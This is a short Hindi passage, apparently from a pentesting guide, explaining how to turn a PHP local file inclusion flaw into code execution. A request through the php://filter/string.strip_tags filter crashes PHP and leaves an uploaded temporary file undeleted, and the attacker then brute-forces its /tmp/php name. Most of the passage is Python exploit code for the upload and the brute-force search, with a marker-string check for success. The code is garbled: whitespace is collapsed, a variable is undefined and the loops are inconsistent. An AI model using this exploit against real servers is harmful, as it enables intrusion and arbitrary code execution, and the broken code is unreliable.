आपको यह जानना चाहिए कि अगर आप POST अनुरोध भेजते हैं जिसमें एक फ़ाइल हो, तो PHP उस फ़ाइल की सामग्री के साथ /tmp/php<something> में एक अस्थायी फ़ाइल बनाएगा। यह फ़ाइल स्वचालित रूप से हटा दी जाएगी एक बार अनुरोध प्रसंस्कृत हो जाए।
अगर आपको LFI मिलता है और आप PHP में सेगमेंटेशन फॉल्ट को ट्रिगर करने में कामयाब होते हैं, तो अस्थायी फ़ाइल कभी नहीं हटाई जाएगी। इसलिए, आप इसे LFI भेद्यता के साथ खोज सकते हैं जब तक आप इसे नहीं मिलता और विचारात्मक कोड को क्रियान्वित कर सकते हैं।
# upload file with segmentation faultimport requestsurl ="http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"files ={'file':open('la.php','rb')}response = requests.post(url, files=files)# Search for the file (improve this with threads)import requestsimport stringimport threadingcharset = string.ascii_letters + string.digitshost ="127.0.0.1"port =80base_url ="http://%s:%d"% (host, port)defbruteforce(charset):for i in charset:for j in charset:for k in charset:for l in charset:for m in charset:for n in charset:filename = prefix + i + j + kurl ="%s/index.php?i=/tmp/php%s"% (base_url, filename)print urlresponse = requests.get(url)if'spyd3r'in response.content:print"[+] Include success!"returnTruedefmain():bruteforce(charset)if__name__=="__main__":main()